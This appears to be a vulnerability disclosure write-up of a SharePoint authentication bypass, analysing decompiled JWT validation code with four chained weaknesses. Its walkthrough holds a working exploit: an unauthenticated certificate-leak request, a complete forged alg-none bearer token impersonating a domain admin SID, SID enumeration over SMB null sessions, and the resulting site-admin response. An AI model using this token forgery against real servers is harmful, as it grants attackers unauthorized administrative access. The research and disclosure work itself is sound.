Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPJsonWebSecurityTokenHandlerV2.ValidateToken(System.IdentityModel.Tokens.SecurityToken token) (IL=0x01BC, Native=0x00007FFC730AA430+0x4A2) Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken(System.Web.HttpContext httpContext, out Microsoft.SharePoint.IdentityModel.SPIncomingTokenContextV2 tokenContext, out Microsoft.SharePoint.IdentityModel.SPIdentityProofToken identityProofToken) (IL=???, Native=0x00007FFC730A2A70+0x9FB) Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.ConstructIClaimsPrincipalAndSetThreadIdentity(System.Web.HttpApplication httpApplication, System.Web.HttpContext httpContext, Microsoft.SharePoint.IdentityModel.SPFederationAuthenticationModuleV2 fam, out string tokenType) (IL≈0x0041, Native=0x00007FFC730A1860+0xB2) Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.AuthenticateRequest(object sender, System.EventArgs e) (IL≈0x0139, Native=0x00007FFC7196F9D0+0x3E4) System.Web.dll!System.Web.HttpApplication.SyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() (IL=0x005D, Native=0x00007FFC71846AE0+0xD1) System.Web.dll!System.Web.HttpApplication.ExecuteStepImpl(System.Web.HttpApplication.IExecutionStep step) (IL=epilog, Native=0x00007FFC71846A00+0xB6) System.Web.dll!System.Web.HttpApplication.ExecuteStep(System.Web.HttpApplication.IExecutionStep step, ref bool completedSynchronously) (IL≈0x0015, Native=0x00007FFC71846640+0x5E) System.Web.dll!System.Web.HttpApplication.PipelineStepManager.ResumeSteps(System.Exception error) (IL≈0x027A, Native=0x00007FFC71842E00+0x77A) System.Web.dll!System.Web.HttpApplication.BeginProcessRequestNotification(System.Web.HttpContext context, System.AsyncCallback cb) (IL=0x0031, Native=0x00007FFC71842D50+0x83) System.Web.dll!System.Web.HttpRuntime.ProcessRequestNotificationPrivate(System.Web.Hosting.IIS7WorkerRequest wr, System.Web.HttpContext context) (IL≈0x00B0, Native=0x00007FFC7183C7A0+0x1D3) System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0131, Native=0x00007FFC7183A4E0+0x41A) System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000, Native=0x00007FFC7183A070+0x13) [Managed to Native Transition] System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x01E7, Native=0x00007FFC7183A4E0+0x4C1) System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000, Native=0x00007FFC7183A070+0x13) [Appdomain Transition]
Weakness 1: RequireSignedTokens disabled
The first and most fundamental weakness is in SPJsonWebSecurityTokenHandlerV2.ValidateToken(). When constructing the TokenValidationParameters for the underlying Microsoft.IdentityModel JWT library, the code explicitly disables signature requirements:
// SPJsonWebSecurityTokenHandlerV2.cs - ValidateToken() - Line 212 val.RequireSignedTokens = false;
This single line disables the JWT library’s cryptographic signature verification. When RequireSignedTokens is false, the library accepts tokens with alg: none in the header, meaning no signature is required on the outer token at all. The library still parses the JWT and populates claims, but never performs any cryptographic verification of the outer token.
The full context of the method:
// SPJsonWebSecurityTokenHandlerV2.cs - Lines 165-223
public override ReadOnlyCollection<ClaimsIdentity> ValidateToken(SecurityToken token)
{
// ...
TokenValidationParameters val = new TokenValidationParameters();
val.CertificateValidator = ((SecurityTokenHandler)(object)this).Configuration.CertificateValidator;
val.SaveSigninToken = ((SecurityTokenHandler)(object)this).Configuration.SaveBootstrapContext;
val.ValidateAudience = false; // <--- [1]
val.ValidateIssuer = false; // <--- [2]
List<X509SecurityKey> list = new List<X509SecurityKey>();
// ... populates list with trusted signing keys ...
val.IssuerSigningKeys = (IEnumerable<SecurityKey>)list;
val.RequireSignedTokens = false; // <--- [3]
// ...
SecurityToken securityToken = default(SecurityToken);
return new ReadOnlyCollection<ClaimsIdentity>(
((JwtSecurityTokenHandler)this).ValidateToken(
((JwtSecurityToken)sPJwtSecurityToken).RawData, val, ref securityToken
).Identities.ToList()
);
}
At [1] and [2], the built-in audience and issuer validation from the JWT library are also disabled, SharePoint implements its own validation logic in separate methods. At [3], the critical RequireSignedTokens = false is set. The resulting call to the base JwtSecurityTokenHandler.ValidateToken() processes the JWT without verifying any cryptographic signature.
Weakness 2: Actor token x5t resolution without signature verification
After ReadToken() parses the JWT, SharePoint’s custom validation code resolves the actor token’s signing key using the x5t (X.509 certificate thumbprint) header. This occurs in SPJsonWebSecurityBaseTokenHandlerV2:
// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 92-103
SecurityKeyIdentifier signingKeyIdentifier = GetSigningKeyIdentifier(sPJwtSecurityToken.ActorToken); // <--- [1]
((SecurityTokenHandler)this).Configuration.IssuerTokenResolver.TryResolveToken(
signingKeyIdentifier, out var token2); // <--- [2]
if (token2 != null)
{
((JwtSecurityToken)sPJwtSecurityToken.ActorToken).SigningToken = token2; // <--- [3]
}
At [1], the call to GetSigningKeyIdentifier extracts the x5t value directly from the actor token’s JWT header:
// SPJsonWebSecurityBaseTokenHandlerV2.cs - GetSigningKeyIdentifier - Lines 135-160
private SecurityKeyIdentifier GetSigningKeyIdentifier(SPJwtSecurityToken jwtToken)
{
JwtHeader header = ((JwtSecurityToken)jwtToken).Header;
// ...
if (string.Equals(header.Alg, "RS256"))
{
if (!((Dictionary<string, object>)(object)header).TryGetValue("x5t", out object value))
{
throw new SecurityTokenException("Invalid JWT token. Not able to find SigningKeyIdentifier...");
}
securityKeyIdentifierClause = new X509ThumbprintKeyIdentifierClause(
SPBase64UrlEncoder.DecodeBytes(value as string)); // <--- attacker-controlled x5t
}
// ...
}
At [2], the call to SPIssuerTokenResolver.TryResolveTokenCore searches all trusted certificates, including SharePoint’s own local Security Token Service (STS) signing certificate, for a thumbprint match:
// SPIssuerTokenResolver.cs - TryResolveTokenCore - Lines 118-142
protected override bool TryResolveTokenCore(SecurityKeyIdentifierClause keyIdentifierClause, out SecurityToken token)
{
// ... searches TrustedLoginProviders, TrustedSecurityTokenServices ...
if (TryResolveTokenCoreWithAccessProvider(local.LocalLoginProvider, keyIdentifierClause, out token)) // <--- [4]
{
return true;
}
return false;
}
At [4], the resolver checks the LocalLoginProvider access provider, SharePoint’s own STS signing certificate, whose x509 certificate can be retrieved via the unauthenticated /_layouts/15/metadata/json/1 endpoint. If an attacker sets the actor token’s x5t header to the thumbprint of SharePoint’s STS certificate, the resolver finds a match and returns an X509SecurityToken wrapping that certificate. At [3], this token is assigned to the actor token’s SigningToken property.
At no point in this flow is the actor token’s signature (In our example we use the string AAAA as a signature in a forged token) cryptographically verified against the resolved signing key. The code resolves the key from x5t, populates SigningToken, but never calls any signature verification function.
Weakness 3: Issuer validation accepts unregistered certificates
After setting the actor token’s SigningToken, the code proceeds to call ValidateIssuer(token). For a token that contains an actor token SigningToken value (which we just achieved above), the logic in ValidateIssuer takes the below path:
// SPJsonWebSecurityBaseTokenHandlerV2.cs - ValidateIssuer(SPJwtSecurityToken) - Lines 745-750
if (token.ActorToken != null && ((JwtSecurityToken)token.ActorToken).SigningToken != null)
{
ULS.SendTraceTag(573368525u, ..., "Validating the actor token's signing token.");
ValidateIssuer(((JwtSecurityToken)token.ActorToken).SigningToken as X509SecurityToken,
((JwtSecurityToken)token.ActorToken).Issuer);
return;
}
This calls the ValidateIssuer(X509SecurityToken, string) overload which accepts tokens signed by unregistered certificates:
// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 788-812
private void ValidateIssuer(X509SecurityToken signingKey, string tokenIssuer)
{
// ...
SPTrustedSecurityTokenService providerBySigningCertificate =
SPSecurityTokenServiceManager.LocalOrThrow.TrustedSecurityTokenServices
.GetProviderBySigningCertificate(signingKey.Certificate, tokenIssuer); // <--- [1]
if (null == providerBySigningCertificate) // <--- [2]
{
ULS.SendTraceTag(594416645u, ..., "ValidateTokenIssuer accepted Issuer '{0}' because " +
"no registered STS matches the signing certificate '{1}'",
tokenIssuer, signingKey.Certificate.Subject);
return; // <--- ACCEPTED
}
if (SPTrustedProviderBase.IssuerNameMatches(tokenIssuer, providerBySigningCertificate.RegisteredIssuerName))
{
return;
}
throw new SecurityTokenException("Issuer name is not registered"); // <--- REJECTED
}
At [1] above, the code searches the TrustedSecurityTokenServices collection for a provider whose signing certificate matches. SharePoint’s local STS signing certificate belongs to the LocalLoginProvider access provider, which is not in the TrustedSecurityTokenServices collection. Therefore, GetProviderBySigningCertificate returns null.
At [2], when the result is null, the method accepts the issuer unconditionally and returns to the caller instead of throwing a SecurityTokenException exception.
The intent appears to be accepting tokens from certificates not explicitly registered, but the effect is that an attacker who references SharePoint’s own STS certificate via x5t passes issuer validation because that certificate is not found in the specific TrustedSecurityTokenServices collection being searched.
Weakness 4: GetTokenSignature non-cryptographic check
The final validation step involves GetTokenSignature, which is called during session token construction. This method requires a non-empty signature but performs no cryptographic verification:
// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 879-920
public static string GetTokenSignature(SPJwtSecurityToken jwtToken)
{
SPArgumentHelperV2.LogAndThrowOnNull(TaggingUtilities.ReserveTag(591196938u), ULSCat.msoulscat_WSS_SecurityTokenHandler, "jwtToken", jwtToken);
string rawData = ((JwtSecurityToken)jwtToken).RawData;
if (string.IsNullOrWhiteSpace(rawData) && string.IsNullOrWhiteSpace(((JwtSecurityToken)jwtToken).RawSignature))
{
ULS.SendTraceTag(591196937u, ULSCat.msoulscat_WSS_SecurityTokenHandler, ULSTraceLevel.Unexpected, "The SPJwtSecurityToken doesn't have a signature.");
throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
}
string text = ((JwtSecurityToken)jwtToken).RawSignature;
if (string.IsNullOrWhiteSpace(text))
{
text = rawData.Substring(rawData.LastIndexOf('.') + 1); // <--- [1]
}
if (string.IsNullOrWhiteSpace(text))
{
if (jwtToken.ActorToken != null)
{
text = GetTokenSignature(jwtToken.ActorToken); // <--- [2]
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append(jwtToken.Audience);
stringBuilder.Append(',');
stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidFrom.ToFileTimeUtc());
stringBuilder.Append(',');
stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidTo.ToFileTimeUtc());
stringBuilder.Append(',');
foreach (Claim claim in ((JwtSecurityToken)jwtToken).Claims)
{
stringBuilder.Append(claim.Value);
stringBuilder.Append(',');
}
return stringBuilder?.ToString() + text; // <--- [3]
}
ULS.SendTraceTag(573368524u, Category, ULSTraceLevel.Unexpected, "SPJsonWebSecurityBaseTokenHandlerV2: ActorToken doesn't have a signature.");
throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
}
return text;
}
For the outer token with alg: none, RawSignature is empty (the JWT format is header.payload. with nothing after the final dot). At [1], extracting after the last dot yields an empty string. At [2], the method recurses into the actor token. The actor token’s signature is AAAA, a non-empty string, so at [3] it returns “AAAA” without any cryptographic verification that this value is a valid RSA signature.
Summary
The four weaknesses combine as follows:
-
Attacker sends a JWT with alg: none in the outer header, so no signature is required in the outer token.
-
The actor token’s x5t header contains SharePoint’s own STS certificate thumbprint, allowing us to resolve a signing key with no verification.
-
The resolved certificate is not in TrustedSecurityTokenServices, allowing the issuer to be accepted.
-
The actor token’s signature is a non-empty value, e.g. AAAA, which is never verified.
After validation, the outer token’s nameid claim, containing either an attacker controlled Windows Security Identifier (SID) or an attacker controlled User Principal Name (UPN), is resolved to a user identity via SPIncomingServerToServerProtocolIdentityHandlerV2.ValidateAndEnsureIdentity(). Alternatively a name id of 0#.w|nt authority\local service can be used to identify as a known local service, through an AccessToken identifier. Our testing showed identifying as a local service exposed less authenticated attack service than identifying via either a SID or UPN.
Our PoC script shows examples of all three mechanisms working.
Walkthrough
We can see a concrete example of the bypass in action by inspecting the HTTP requests required to achieve the authentication bypass.
In order to know the x5t value to use in the inner actortoken token, we must first retrieve the x509 certificate of the STS signing certificate from the target SharePoint site. We can do this via an unauthenticated request to the /_layouts/15/metadata/json/1 URI. For example:
GET /_layouts/15/metadata/json/1 HTTP/1.1 Host: 192.168.86.11 User-Agent: curl/7.81.0 Accept: */*
Which returns the STS signing certificate as part of the response:
HTTP/1.1 200 OK
Cache-Control: private
Transfer-Encoding: chunked
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-7b83-e0bd-6d28-7d5115ac774c
request-id: e01a0ca2-7b83-e0bd-6d28-7d5115ac774c
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT
{"issuer":"00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde","keys":[{"keyValue":{"type":"x509certificate","value":"MIIEhzCCAm+gAwIBAgIQbgEQC4zI97pMh7WkdsMmtTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSIwIAYDVQQDExlTaGFyZVBvaW50IFJvb3QgQXV0aG9yaXR5MCAXDTI2MDMxMTIwMjY1M1oYDzk5OTkwMTAxMDAwMDAwWjBiMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSowKAYDVQQDEyFTaGFyZVBvaW50IFNlY3VyaXR5IFRva2VuIFNlcnZpY2UwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDY8RNv0VUdgmBubMAHYBI8nu1pWUwUDJywDIwKxgoLuu26Wd6tTMnk5Fb7kYVT+gw+wdW80DeOU\/9lAySKat+FESEuwoUKbJP1Kk6vbuvWyYofz91i9oCXXzqAR1AwNsMGr1nAszVRbPaTrcidomvT2DzQ4YBW2IGtDJEpXIcSrN4T5B4bNH+2rXk11vZHG7c31Y\/VuAwybLGndwSYoiT8aTOgnHsEB9jqZjipkinwnowhk1d6LsPawm6X+y8z7SqkVgMdqKVB5gAMECUedv0qGd2+AW\/2j8Dbk3NNW3XddCBye2wQP0GeioQjcveDK4U0n+3qJjOwG0Y4\/7Jex\/IVAgMBAAGjPzA9MA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH\/BAIwADANBgkqhkiG9w0BAQsFAAOCAgEAPXw7TdU6U9ij28uirUm4oQk6Qtdx42G8JNkz44oF4s1ifaODLKqgXCViHRo0bJj3KAz1aSWUdld\/wrOw99tbxPme9sd8ilHN61fKjUPzl7NMyA85895FnA5J62sKcPjmusDHD1WjSYA+y47L\/I3qlUCL9nOPhqjHN4bEQYJV7c9X+9lmnK1QBmqtjQ+Dy8tie6B9XKvSZgb8clVc7pXeG3k4eqNqi8AtgLoW6UmT\/7tXzqotC9oyBmeA3Ucaj99HJ\/4zBN7cOjIL78xNYds8DIVEqGqZFL30uOvJnEecAmtHbMg5yX2oO0p11PSM+JVIiC7gWClfaZ0Ta0tLG5VdmX0wfzmxS+jBEFqvFUA3BFuClQeamKdvIBE7cFXG\/MujpCboiLP0qdZUhGUduFiy94vH0oxKQFZVLT62T4cNbMu0WGGOY67N8p9UKzUvLVis0FnR1nQvy4SJSdt4kBzUUA42z70v\/ACpzHLXsETil+MnGbTXMfEGVzl+s2+9Su4OpTtDe8AIMdDPoH8uaHklLF65FUPKa+aHGlTB9VPyYySC++PCIPIra\/uxjb21V+GBPU8YgbFsOiCNF36AcGakskieghg97EBHumzQuoPnnvCkkRr2\/xU59Yxw01eS42pfVNeJlXDGKwEtAiN1Fwkay2Ji7dq\/wXtFy5OsVBlerec="},"usage":"Signing"}],"name":"00000003-0000-0ff1-ce00-000000000000","serviceName":"00000003-0000-0ff1-ce00-000000000000"}
For completeness, the parsed x509 certificate is shown below.
Version: 3 (0x02)
Serial number: 146220597266833583330723281767636346549 (0x6e01100b8cc8f7ba4c87b5a476c326b5)
Algorithm ID: SHA256withRSA
Validity
Not Before: 11/03/2026 20:26:53 (dd-mm-yyyy hh:mm:ss) (260311202653Z)
Not After: 01/01/9999 00:00:00 (dd-mm-yyyy hh:mm:ss) (99990101000000Z)
Issuer
C = US
O = Microsoft
OU = SharePoint
CN = SharePoint Root Authority
Subject
C = US
O = Microsoft
OU = SharePoint
CN = SharePoint Security Token Service
Fingerprints
MD5: 8c72ddcf6fdf2bdf3cc173bfcff88bf4
SHA1: 8bf833e6a7d8a7960f5802b5fffd188599e2a4b2
SHA256: 9d8a6b787ca17ba72b44200d20d689fae33d13fb57fb166563d11e98d247068c
Public Key
Algorithm: RSA
Length: 2048 bits
Modulus: d8:f1:13:6f:d1:55:1d:82:60:6e:6c:c0:07:60:12:3c:
9e:ed:69:59:4c:14:0c:9c:b0:0c:8c:0a:c6:0a:0b:ba:
ed:ba:59:de:ad:4c:c9:e4:e4:56:fb:91:85:53:fa:0c:
3e:c1:d5:bc:d0:37:8e:53:ff:65:03:24:8a:6a:df:85:
11:21:2e:c2:85:0a:6c:93:f5:2a:4e:af:6e:eb:d6:c9:
8a:1f:cf:dd:62:f6:80:97:5f:3a:80:47:50:30:36:c3:
06:af:59:c0:b3:35:51:6c:f6:93:ad:c8:9d:a2:6b:d3:
d8:3c:d0:e1:80:56:d8:81:ad:0c:91:29:5c:87:12:ac:
de:13:e4:1e:1b:34:7f:b6:ad:79:35:d6:f6:47:1b:b7:
37:d5:8f:d5:b8:0c:32:6c:b1:a7:77:04:98:a2:24:fc:
69:33:a0:9c:7b:04:07:d8:ea:66:38:a9:92:29:f0:9e:
8c:21:93:57:7a:2e:c3:da:c2:6e:97:fb:2f:33:ed:2a:
a4:56:03:1d:a8:a5:41:e6:00:0c:10:25:1e:76:fd:2a:
19:dd:be:01:6f:f6:8f:c0:db:93:73:4d:5b:75:dd:74:
20:72:7b:6c:10:3f:41:9e:8a:84:23:72:f7:83:2b:85:
34:9f:ed:ea:26:33:b0:1b:46:38:ff:b2:5e:c7:f2:15
Exponent: 65537 (0x10001)
Certificate Signature
Algorithm: SHA256withRSA
Signature: 3d:7c:3b:4d:d5:3a:53:d8:a3:db:cb:a2:ad:49:b8:a1:
09:3a:42:d7:71:e3:61:bc:24:d9:33:e3:8a:05:e2:cd:
62:7d:a3:83:2c:aa:a0:5c:25:62:1d:1a:34:6c:98:f7:
28:0c:f5:69:25:94:76:57:7f:c2:b3:b0:f7:db:5b:c4:
f9:9e:f6:c7:7c:8a:51:cd:eb:57:ca:8d:43:f3:97:b3:
4c:c8:0f:39:f3:de:45:9c:0e:49:eb:6b:0a:70:f8:e6:
ba:c0:c7:0f:55:a3:49:80:3e:cb:8e:cb:fc:8d:ea:95:
40:8b:f6:73:8f:86:a8:c7:37:86:c4:41:82:55:ed:cf:
57:fb:d9:66:9c:ad:50:06:6a:ad:8d:0f:83:cb:cb:62:
7b:a0:7d:5c:ab:d2:66:06:fc:72:55:5c:ee:95:de:1b:
79:38:7a:a3:6a:8b:c0:2d:80:ba:16:e9:49:93:ff:bb:
57:ce:aa:2d:0b:da:32:06:67:80:dd:47:1a:8f:df:47:
27:fe:33:04:de:dc:3a:32:0b:ef:cc:4d:61:db:3c:0c:
85:44:a8:6a:99:14:bd:f4:b8:eb:c9:9c:47:9c:02:6b:
47:6c:c8:39:c9:7d:a8:3b:4a:75:d4:f4:8c:f8:95:48:
88:2e:e0:58:29:5f:69:9d:13:6b:4b:4b:1b:95:5d:99:
7d:30:7f:39:b1:4b:e8:c1:10:5a:af:15:40:37:04:5b:
82:95:07:9a:98:a7:6f:20:11:3b:70:55:c6:fc:cb:a3:
a4:26:e8:88:b3:f4:a9:d6:54:84:65:1d:b8:58:b2:f7:
8b:c7:d2:8c:4a:40:56:55:2d:3e:b6:4f:87:0d:6c:cb:
b4:58:61:8e:63:ae:cd:f2:9f:54:2b:35:2f:2d:58:ac:
d0:59:d1:d6:74:2f:cb:84:89:49:db:78:90:1c:d4:50:
0e:36:cf:bd:2f:fc:00:a9:cc:72:d7:b0:44:e2:97:e3:
27:19:b4:d7:31:f1:06:57:39:7e:b3:6f:bd:4a:ee:0e:
a5:3b:43:7b:c0:08:31:d0:cf:a0:7f:2e:68:79:25:2c:
5e:b9:15:43:ca:6b:e6:87:1a:54:c1:f5:53:f2:63:24:
82:fb:e3:c2:20:f2:2b:6b:fb:b1:8d:bd:b5:57:e1:81:
3d:4f:18:81:b1:6c:3a:20:8d:17:7e:80:70:66:a4:b2:
48:9e:82:18:3d:ec:40:47:ba:6c:d0:ba:83:e7:9e:f0:
a4:91:1a:f6:ff:15:39:f5:8c:70:d3:57:92:e3:6a:5f:
54:d7:89:95:70:c6:2b:01:2d:02:23:75:17:09:1a:cb:
62:62:ed:da:bf:c1:7b:45:cb:93:ac:54:19:5e:ad:e7
Extensions
keyUsage CRITICAL:
digitalSignature,keyEncipherment
extKeyUsage :
serverAuth, clientAuth
basicConstraints CRITICAL:
{}
Using the above x509 certificate, we can compute the x5t by base64 decoding the entire x509 certificate, computing the SHA1 digest value, then base64 encoding that raw digest value. In our example we get an x5t value of i_gz5qfYp5YPWAK1__0YhZnipLI. We can also see we discover the target realm (af90cc03-4a26-45e9-906a-609cebcebbde) which we will use later in the forged JWT.
We then begin to construct the malicious JWT. The outer token will have a header of:
{"alg": "none", "typ": "JWT"}
The payload is shown below. The audience (aud) claim contains the target systems hostname (win-b0i6kv698ls) and realm. The issuer (iss) claim is 00000003-0000-0ff1-ce00-000000000000 which is the well known SharePoint principal application ID. The Name ID (nameid) represent the SharePoint user we will identify as, in our example we use a SID of S-1-5-21-4203888158-2793536450-3921675298-500 which represent the domain admin that we want to authenticate as using the urn:office:idp:activedirectory identity provider. Finally an inner actortoken token is base64 encoded.
As an aside, we discover the target SID to use by first contacting the target SharePoint servers domain controller over SMB. We can use an SMB NULL session to query the LSARPC named pipe and learn the domain’s Domain ID value. Then by appending Relative Identifier (RID) values (e.g. 500, 1000, 1001, 1002, …) to the Domain ID, we can construct potential user SIDs to authenticate as. By repeating this process we iterate over all users and discover which ones are valid site user administrators. It is worth pointing out that the forged JWT does not solely require a Windows SID, and we can also identify a user via a User Principal Name (UPN), e.g. [email protected] or similar. However, discovering a valid SID is more reliable in an automated scenario (assuming you can access the domain controller) than brute forcing potential UPN’s, which is best suited to manual reconnaissance.
{
"aud": "00000003-0000-0ff1-ce00-000000000000/win-b0i6kv698ls@af90cc03-4a26-45e9-906a-609cebcebbde",
"iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
"nbf": 1776765672,
"exp": 1776769572,
"nameid": "S-1-5-21-4203888158-2793536450-3921675298-500",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "eyJhbGciOiAiUlMyNTYiLCAidHlwIjogIkpXVCIsICJ4NXQiOiAiaV9nejVxZllwNVlQV0FLMV9fMFloWm5pcExJIn0.eyJpc3MiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYW1laWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYmYiOiAxNzc2NzY1NjcyLCAiZXhwIjogMTc3Njc2OTU3Mn0.AAAA"
}
Inspecting the inner actortoken token, it will have a header as shown below, which includes the x5t value i_gz5qfYp5YPWAK1__0YhZnipLI corresponding to the SharePoint server’s STS signing certificate.
{"alg": "RS256", "typ": "JWT", "x5t": "i_gz5qfYp5YPWAK1__0YhZnipLI"}
The inner actortoken token will have a payload as shown below. Note the nameid of this token is the same as the issuer of the STS certificate, this allows a call to SPJsonWebSecurityBaseTokenHandlerV2.ValidateActorIsSelfIssuer to succeed.
{
"iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
"nameid": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
"nbf": 1776765672,
"exp": 1776769572
}
And a signature which is an arbitrary non-empty string:
AAAA
Constructing the above JWT, we can base64 encode it as a bearer token and make a request to an authenticated endpoint, such as /_api/web/currentuser and prove we are authenticating as a SharePoint user.
GET /_api/web/currentuser HTTP/1.1 Host: win-b0i6kv698ls User-Agent: curl/7.81.0 Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ. Accept: application/json;odata=verbose
The following response shows this has worked, and the user we identified as is in fact a SharePoint site administrator (The returned IsSiteAdmin value is true).
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=verbose;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 12
SPRequestDuration: 83
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-0b92-e0bd-6d28-7b843e6bda5c
request-id: e01a0ca2-0b92-e0bd-6d28-7b843e6bda5c
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT
